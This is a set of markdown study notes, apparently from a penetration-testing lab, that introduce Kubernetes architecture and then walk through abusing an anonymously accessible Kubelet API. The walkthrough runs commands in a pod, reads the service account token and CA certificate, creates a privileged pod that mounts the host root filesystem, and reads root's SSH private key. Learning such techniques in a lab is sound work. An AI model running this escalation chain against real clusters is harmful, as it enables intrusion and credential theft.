# Intro - [Kubernetes](https://kubernetes.io/), also known as `K8s`, was developed Google as DevOps tool for container and microservices orchestration - Kubernetes functions by running all apps in containers isolated from the host system through several layers of protection - This approach ensures that applications are not affected by changes in the host system, such as updates or security patches - The Kubernetes architecture comprises a `master node` and `worker nodes`, each with specific roles # K8s Concept - Kubernetes revolves around the concept of pods, which can hold one or more closely connected containers - Each pod functions as a separate virtual machine on a node, complete with its own IP, hostname, and other details - Kubernetes simplifies the management of multiple containers by offering tools for load balancing, service discovery, storage orchestration, self-healing, and more - Despite challenges in security and management, K8s continues to grow and improve with features like RBAC, Network Policies, and Security Contexts - Below are some differences between K8s and Docker | **Function** | **Docker** | **Kubernetes** | | ------------ | -------------------------------- | --------------------------------------------- | | `Primary` | Platform for containerizing Apps | An orchestration tool for managing containers | | `Scaling` | Manual scaling with Docker swarm | Automatic scaling | | `Networking` | Single network | Complex network with policies | | `Storage` | Volumes | Wide range of storage options | - The K8s architecture is split between the following two components: - Control plane ran by the master node - Worker nodes (aka minions) with the containerized apps ## Control Plane - The Control Plane serves as the management layer. It consists of several crucial components, including: |**Service**|**TCP Ports**| |---|---| |`etcd`|`2379`, `2380`| |`API server`|`6443`| |`Scheduler`|`10251`| |`Controller Manager`|`10252`| |`Kubelet API`|`10250`| |`Read-Only Kubelet API`|`10255`| ## Worker Nodes - Within a containerized environment, the worker nodes serve as the designated location for running apps - Note: each node is managed and regulated by the Control Plane, which helps ensure that all processes running within the containers operate smoothly and efficiently - The `Scheduler`, based on the `API server`, understands the state of the cluster and schedules new pods on the nodes accordingly - After deciding which node a pod should run on, the API server updates the `etcd` ## K8s API - The core of Kubernetes architecture is its API, which serves as the main point of contact for all internal and external interactions - The Kubernetes API has been designed to support declarative control, allowing users to define their desired state for the system - `kube-apiserver` is responsible for hosting the API, which handles and verifies RESTful requests for modifying the system's state - Each unique resource comes equipped with a distinct set of operations that can be executed, including without limitation: |**Request**|**Description**| |---|---| |`GET`|Retrieves information about a resource or a list of resources.| |`POST`|Creates a new resource.| |`PUT`|Updates an existing resource.| |`PATCH`|Applies partial updates to a resource.| |`DELETE`|Removes a resource.| ## Authentication & Authorization - Kubernetes supports various methods such as client certificates, bearer tokens, an authenticating proxy, or HTTP basic auth, which serve to verify the user's identity - Post authentication, Kubernetes enforces authorization decisions using RBAC - By default, the Kubelet allows anonymous access - Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous - This can be problematic as any process or user that can reach the Kubelet API can make requests and receive responses, potentially exposing sensitive information or leading to unauthorized actions # Enumerating K8s API Server Interaction ```bash curl https://10.129.10.11:6443 -k { "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": {}, "code": 403 } ``` - Above, `System:anonymous` typically represents an unauthenticated user, meaning we haven't provided valid credentials or are trying to access the API server anonymously # Extracting Pobs via the Kubelet API - Understanding the container images and their versions used in the cluster can enable us to identify known vulnerabilities and exploit them to gain unauthorized access to the system - Namespace information can provide insights into how the pods and resources are arranged within the cluster, which we can use to target specific namespaces with known vulns ```bash curl https://10.129.10.11:10250/pods -k | jq . ...SNIP... { "kind": "PodList", "apiVersion": "v1", "metadata": {}, "items": [ { "metadata": { "name": "nginx", "namespace": "default", "uid": "aadedfce-4243-47c6-ad5c-faa5d7e00c0c", "resourceVersion": "491", "creationTimestamp": "2023-07-04T10:42:02Z", "annotations": { "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"nginx\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"imagePullPolicy\":\"Never\",\"name\":\"nginx\",\"ports\":[{\"containerPort\":80}]}]}}\n", "kubernetes.io/config.seen": "2023-07-04T06:42:02.263953266-04:00", "kubernetes.io/config.source": "api" } ...SNIP... ``` # Extracting Pobs with `kubectl` ```bash kubeletctl -i --server 10.129.10.11 pods ┌────────────────────────────────────────────────────────────────────────────────┐ │ Pods from Kubelet │ ├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤ │ │ POD │ NAMESPACE │ CONTAINERS │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 1 │ coredns-78fcd69978-zbwf9 │ kube-system │ coredns │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 2 │ nginx │ default │ nginx │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 3 │ etcd-steamcloud │ kube-system │ etcd │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ ``` # Enumerating Available Command wrt the Kubelet API ```bash kubeletctl -i --server 10.129.10.11 scan rce ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐ │ Node with pods vulnerable to RCE │ ├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤ │ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ │ │ │ │ │ RUN │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 1 │ 10.129.10.11 │ nginx │ default │ nginx │ + │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 2 │ │ etcd-steamcloud │ kube-system │ etcd │ - │ ``` # Executing Commands via the Kubelet API ```bash kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx ``` - The output of the above command shows that the current user executing the `id` command inside the container has root privs # Privesc - To privesc, we can utilize a tool called [kubeletctl](https://github.com/cyberark/kubeletctl) to obtain the Kubernetes service account's `token` and `certificate` (`ca.crt`) from the server - To do this, we must provide the server's IP address, namespace, and target pod - In case we get this token and certificate, we can elevate our privileges even more, move horizontally throughout the cluster, or gain access to additional pods and resources ## Extracting Tokens via the Kubelet API ```bash kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token eyJhbGciOiJSUzI1NiIsImtpZC...SNIP...UfT3OKQH6Sdw ``` ## Extracting Certs via the Kubelet API ```bash kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt -----BEGIN CERTIFICATE----- MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p <SNIP> MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD 602eXnhZAL3+dA== -----END CERTIFICATE----- ``` ## Listing Privs - Armed with both the `token` and `certificate`, we can check the access rights in the Kubernetes cluster ```bash export token=`cat k8.token` kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list Resources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] pods [] [] [get create list] ...SNIP... ``` # Create YAML for New Pod - From here, create a `YAML` file that we can use to create a new container and mount the entire root filesystem from the host system into this container's `/root` directory - Similar to LXD and Docker privesc - Such as `YAML` file could look like following: ```yaml apiVersion: v1 kind: Pod metadata: name: privesc namespace: default spec: containers: - name: privesc image: nginx:1.14.2 volumeMounts: - mountPath: /root name: mount-root-into-mnt volumes: - name: mount-root-into-mnt hostPath: path: / automountServiceAccountToken: true hostNetwork: true ``` ## Create New Pod with YAML ```bash kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml pod/privesc created kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods NAME READY STATUS RESTARTS AGE nginx 1/1 Running 0 23m privesc 1/1 Running 0 12s ``` ## Extracting Root's SSH Key - Now, if the pod is running we can execute the command and we could spawn a revshell or retrieve sensitive data like private SSH key from the root user ```bash kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc -----BEGIN OPENSSH PRIVATE KEY----- ...SNIP... ```